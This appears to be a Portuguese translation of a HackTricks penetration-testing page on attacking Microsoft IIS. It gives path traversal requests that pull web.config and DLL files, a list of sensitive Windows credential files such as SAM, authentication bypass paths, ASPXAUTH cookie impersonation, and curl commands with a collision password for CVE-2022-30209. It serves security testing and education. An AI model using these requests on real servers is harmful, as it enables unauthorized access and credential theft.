# IIS - Serviços de Informação na Internet
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 * Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)! * Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com) * **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
Teste as extensões de arquivo executáveis: * asp * aspx * config * php ## Divulgação de endereço IP interno Em qualquer servidor IIS onde você obtenha um 302, você pode tentar remover o cabeçalho Host e usar HTTP/1.0 e dentro da resposta, o cabeçalho Location pode apontar para o endereço IP interno: ``` nc -v domain.com 80 openssl s_client -connect domain.com:443 ``` Resposta que revela o IP interno: Quando um servidor IIS é acessado, ele pode responder com um cabeçalho HTTP contendo o endereço IP interno do servidor. Isso pode ser um problema de segurança, pois um invasor pode usar essa informação para lançar ataques adicionais contra o servidor. É importante configurar o servidor IIS para não divulgar o endereço IP interno em suas respostas. ``` GET / HTTP/1.0 HTTP/1.1 302 Moved Temporarily Cache-Control: no-cache Pragma: no-cache Location: https://192.168.5.237/owa/ Server: Microsoft-IIS/10.0 X-FEServer: NHEXCHANGE2016 ``` ## Executar arquivos .config Você pode fazer upload de arquivos .config e usá-los para executar código. Uma maneira de fazer isso é anexar o código ao final do arquivo dentro de um comentário HTML: [Baixe o exemplo aqui](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Upload%20Insecure%20Files/Configuration%20IIS%20web.config/web.config) Mais informações e técnicas para explorar essa vulnerabilidade [aqui](https://soroush.secproject.com/blog/2014/07/upload-a-web-config-file-for-fun-profit/) ## IIS Discovery Bruteforce Baixe a lista que eu criei: {% file src="../../.gitbook/assets/iisfinal.txt" %} Ela foi criada mesclando o conteúdo das seguintes listas: [https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/IIS.fuzz.txt](https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/IIS.fuzz.txt)\ [http://itdrafts.blogspot.com/2013/02/aspnetclient-folder-enumeration-and.html](http://itdrafts.blogspot.com/2013/02/aspnetclient-folder-enumeration-and.html)\ [https://github.com/digination/dirbuster-ng/blob/master/wordlists/vulns/iis.txt](https://github.com/digination/dirbuster-ng/blob/master/wordlists/vulns/iis.txt)\ [https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/aspx.txt](https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/aspx.txt)\ [https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt](https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt)\ [https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt](https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt) Use-o sem adicionar nenhuma extensão, os arquivos que precisam dela já a possuem. ## Traversal de caminho ### Vazamento de código-fonte {% hint style="info" %} Em resumo, existem vários arquivos web.config dentro das pastas do aplicativo com referências a arquivos "**assemblyIdentity**" e "**namespaces**". Com essas informações, é possível saber **onde estão localizados os executáveis** e baixá-los.\ A partir dos **Dlls baixados**, também é possível encontrar **novos namespaces** onde você deve tentar acessar e obter o arquivo web.config para encontrar novos namespaces e assemblyIdentity.\ Além disso, os arquivos **connectionstrings.config** e **global.asax** podem conter informações interessantes.\ Referência: [https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html](https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html) {% endhint %} Como qualquer aplicativo .Net, os aplicativos MVC têm um arquivo **web.config**, onde as tags XML "**assemblyIdentity**" identificam todos os arquivos binários que o aplicativo usa. ```markup GET /download_page?id=..%2f..%2fweb.config HTTP/1.1 Host: example-mvc-application.minded [...] HTTP/1.1 200 OK [...]
``` No resultado anterior, você pode encontrar referências a vários "**assemblyIdentity**". Esses são arquivos que podem estar localizados dentro da pasta /bin. Por exemplo: **/bin/WebGrease.dll**. Outros arquivos que podem ser encontrados no diretório raiz de uma aplicação .Net são **/global.asax**. ```markup <%@ Application Codebehind="Global.asax.cs" Inherits="WebApplication1.MvcApplication" Language="C#" %> ``` E **/connectionstrings.config** **Nota: este arquivo contém senhas!** ```markup ``` **Namespaces** Além disso, as aplicações .Net MVC são estruturadas para definir **outros arquivos web.config**, com o objetivo de incluir qualquer declaração para namespaces específicos para cada conjunto de páginas de visualização, aliviando os desenvolvedores de declarar namespaces "@using" em cada arquivo. ```markup GET /download_page?id=..%2f..%2fViews/web.config HTTP/1.1 Host: example-mvc-application.minded [...] HTTP/1.1 200 OK [...]
``` **Baixando DLLs** A partir de uma resposta anterior, a declaração de um **namespace personalizado** (já que outros namespaces são padrões) sugere que uma DLL chamada "**WebApplication1**" está presente no diretório /bin. ``` GET /download_page?id=..%2f..%2fbin/WebApplication1.dll HTTP/1.1 Host: example-mvc-application.minded [...] ``` Do resultado anterior, dentro do diretório /bin, você também poderá encontrar os Dlls: * System.Web.Mvc.dll * System.Web.Mvc.Ajax.dll * System.Web.Mvc.Html.dll * System.Web.Optimization.dll * System.Web.Routing.dll Suponhamos que o DLL anterior esteja importando um namespace chamado **WebApplication1.Areas.Minded**. Um invasor pode inferir que outros arquivos web.config estão presentes na aplicação, em caminhos previsíveis/padrão como **/nome-da-área/Views/**, contendo configurações específicas que podem se referir a outros arquivos DLL presentes na pasta /bin. ```markup GET /download_page?id=..%2f..%2fMinded/Views/web.config HTTP/1.1 Host: example-mvc-application.minded [...] HTTP/1.1 200 OK [...]
``` Observe que na saída anterior você pode ver um novo namespace chamado: **WebApplication1.AdditionalFeatures** que indica que há outro Dll na pasta /bin chamado **WebApplication1.AdditionalFeatures.dll** ### Arquivos comuns A partir [daqui](https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/) ``` C:\Apache\conf\httpd.conf C:\Apache\logs\access.log C:\Apache\logs\error.log C:\Apache2\conf\httpd.conf C:\Apache2\logs\access.log C:\Apache2\logs\error.log C:\Apache22\conf\httpd.conf C:\Apache22\logs\access.log C:\Apache22\logs\error.log C:\Apache24\conf\httpd.conf C:\Apache24\logs\access.log C:\Apache24\logs\error.log C:\Documents and Settings\Administrator\NTUser.dat C:\php\php.ini C:\php4\php.ini C:\php5\php.ini C:\php7\php.ini C:\Program Files (x86)\Apache Group\Apache\conf\httpd.conf C:\Program Files (x86)\Apache Group\Apache\logs\access.log C:\Program Files (x86)\Apache Group\Apache\logs\error.log C:\Program Files (x86)\Apache Group\Apache2\conf\httpd.conf C:\Program Files (x86)\Apache Group\Apache2\logs\access.log C:\Program Files (x86)\Apache Group\Apache2\logs\error.log c:\Program Files (x86)\php\php.ini" C:\Program Files\Apache Group\Apache\conf\httpd.conf C:\Program Files\Apache Group\Apache\conf\logs\access.log C:\Program Files\Apache Group\Apache\conf\logs\error.log C:\Program Files\Apache Group\Apache2\conf\httpd.conf C:\Program Files\Apache Group\Apache2\conf\logs\access.log C:\Program Files\Apache Group\Apache2\conf\logs\error.log C:\Program Files\FileZilla Server\FileZilla Server.xml C:\Program Files\MySQL\my.cnf C:\Program Files\MySQL\my.ini C:\Program Files\MySQL\MySQL Server 5.0\my.cnf C:\Program Files\MySQL\MySQL Server 5.0\my.ini C:\Program Files\MySQL\MySQL Server 5.1\my.cnf C:\Program Files\MySQL\MySQL Server 5.1\my.ini C:\Program Files\MySQL\MySQL Server 5.5\my.cnf C:\Program Files\MySQL\MySQL Server 5.5\my.ini C:\Program Files\MySQL\MySQL Server 5.6\my.cnf C:\Program Files\MySQL\MySQL Server 5.6\my.ini C:\Program Files\MySQL\MySQL Server 5.7\my.cnf C:\Program Files\MySQL\MySQL Server 5.7\my.ini C:\Program Files\php\php.ini C:\Users\Administrator\NTUser.dat C:\Windows\debug\NetSetup.LOG C:\Windows\Panther\Unattend\Unattended.xml C:\Windows\Panther\Unattended.xml C:\Windows\php.ini C:\Windows\repair\SAM C:\Windows\repair\system C:\Windows\System32\config\AppEvent.evt C:\Windows\System32\config\RegBack\SAM C:\Windows\System32\config\RegBack\system C:\Windows\System32\config\SAM C:\Windows\System32\config\SecEvent.evt C:\Windows\System32\config\SysEvent.evt C:\Windows\System32\config\SYSTEM C:\Windows\System32\drivers\etc\hosts C:\Windows\System32\winevt\Logs\Application.evtx C:\Windows\System32\winevt\Logs\Security.evtx C:\Windows\System32\winevt\Logs\System.evtx C:\Windows\win.ini C:\xampp\apache\conf\extra\httpd-xampp.conf C:\xampp\apache\conf\httpd.conf C:\xampp\apache\logs\access.log C:\xampp\apache\logs\error.log C:\xampp\FileZillaFTP\FileZilla Server.xml C:\xampp\MercuryMail\MERCURY.INI C:\xampp\mysql\bin\my.ini C:\xampp\php\php.ini C:\xampp\security\webdav.htpasswd C:\xampp\sendmail\sendmail.ini C:\xampp\tomcat\conf\server.xml ``` ## Erro 404 HTTPAPI 2.0 Se você vir um erro como o seguinte: ![](<../../.gitbook/assets/image (446) (1) (2) (2) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (13).png>) Isso significa que o servidor **não recebeu o nome de domínio correto** no cabeçalho Host.\ Para acessar a página da web, você pode dar uma olhada no **Certificado SSL** fornecido e talvez possa encontrar o nome do domínio/subdomínio lá. Se não estiver lá, você pode precisar **forçar VHosts** até encontrar o correto. ## Vulnerabilidades antigas do IIS que valem a pena procurar ### Vulnerabilidade/Característica do caractere til “\~” do Microsoft IIS - Divulgação de nome curto de arquivo/pasta Você pode tentar **enumerar pastas e arquivos** dentro de cada pasta descoberta (mesmo que seja necessário Autenticação Básica) usando esta **técnica**.\ A principal limitação desta técnica, se o servidor for vulnerável, é que **ela só pode encontrar até as primeiras 6 letras do nome de cada arquivo/pasta e as primeiras 3 letras da extensão** dos arquivos. Você pode usar [https://github.com/irsdl/IIS-ShortName-Scanner](https://github.com/irsdl/IIS-ShortName-Scanner) para testar essa vulnerabilidade:`java -jar iis_shortname_scanner.jar 2 20 http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db/` ![](<../../.gitbook/assets/image (183).png>) Pesquisa original: [https://soroush.secproject.com/downloadable/microsoft\_iis\_tilde\_character\_vulnerability\_feature.pdf](https://soroush.secproject.com/downloadable/microsoft\_iis\_tilde\_character\_vulnerability\_feature.pdf) Você também pode usar o **metasploit**: `use scanner/http/iis_shortname_scanner` ### Bypass de autenticação básica **Burlar** uma autenticação básica (**IIS 7.5**) tentando acessar: `/admin:$i30:$INDEX_ALLOCATION/admin.php` ou `/admin::$INDEX_ALLOCATION/admin.php` Você pode tentar **misturar** essa **vulnerabilidade** e a última para encontrar novas **pastas** e **burlar** a autenticação. ## Depuração habilitada do ASP.NET Trace.AXD O ASP.NET inclui um modo de depuração e seu arquivo é chamado `trace.axd`. Ele mantém um registro muito detalhado de todas as solicitações feitas a um aplicativo ao longo do tempo. Essas informações incluem IPs de clientes remotos, IDs de sessão, todos os cookies de solicitação e resposta, caminhos físicos, informações de código-fonte e potencialmente até nomes de usuário e senhas. [https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/](https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/) ![Screenshot 2021-03-30 at 13 19 11](https://user-images.githubusercontent.com/31736688/112974448-2690b000-915b-11eb-896c-f41c27c44286.png) ## Cookie ASPXAUTH ASPXAUTH usa as seguintes informações: * **`validationKey`** (string): chave codificada em hexadecimal para uso na validação de assinatura. * **`decryptionMethod`** (string): (padrão "AES"). * **`decryptionIV`** (string): vetor de inicialização codificado em hexadecimal (padrão para um vetor de zeros). * **`decryptionKey`** (string): chave codificada em hexadecimal para uso na descriptografia. No entanto, algumas pessoas usarão os **valores padrão** desses parâmetros e usarão como **cookie o e-mail do usuário**. Portanto, se você encontrar um site usando a **mesma plataforma** que está usando o cookie ASPXAUTH e **criar um usuário com o e-mail do usuário que você deseja se passar** no servidor sob ataque, você pode ser capaz de usar o cookie do segundo servidor no primeiro e se passar pelo usuário.\ Este ataque funcionou neste [**relatório**](https://infosecwriteups.com/how-i-hacked-facebook-part-two-ffab96d57b19). ## Bypass de autenticação IIS com senhas em cache (CVE-2022-30209) Um bug no código **não verificou corretamente a senha fornecida pelo usuário**, então um invasor cujo **hash de senha atinge uma chave** que já está no **cache** poderá fazer login como esse usuário ([relatório completo aqui](https://blog.orange.tw/2022/08/lets-dance-in-the-cache-destabilizing-hash-table-on-microsoft-iis.html)). ```python # script for sanity check > type test.py def HashString(password): j = 0 for c in map(ord, password): j = c + (101*j)&0xffffffff return j assert HashString('test-for-CVE-2022-30209-auth-bypass') == HashString('ZeeiJT') # before the successful login > curl -I -su 'orange:ZeeiJT' 'http:///protected/' | findstr HTTP HTTP/1.1 401 Unauthorized # after the successful login > curl -I -su 'orange:ZeeiJT' 'http:///protected/' | findstr HTTP HTTP/1.1 200 OK ```
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 * Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)! * Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com) * **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) **grupo do Discord** ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).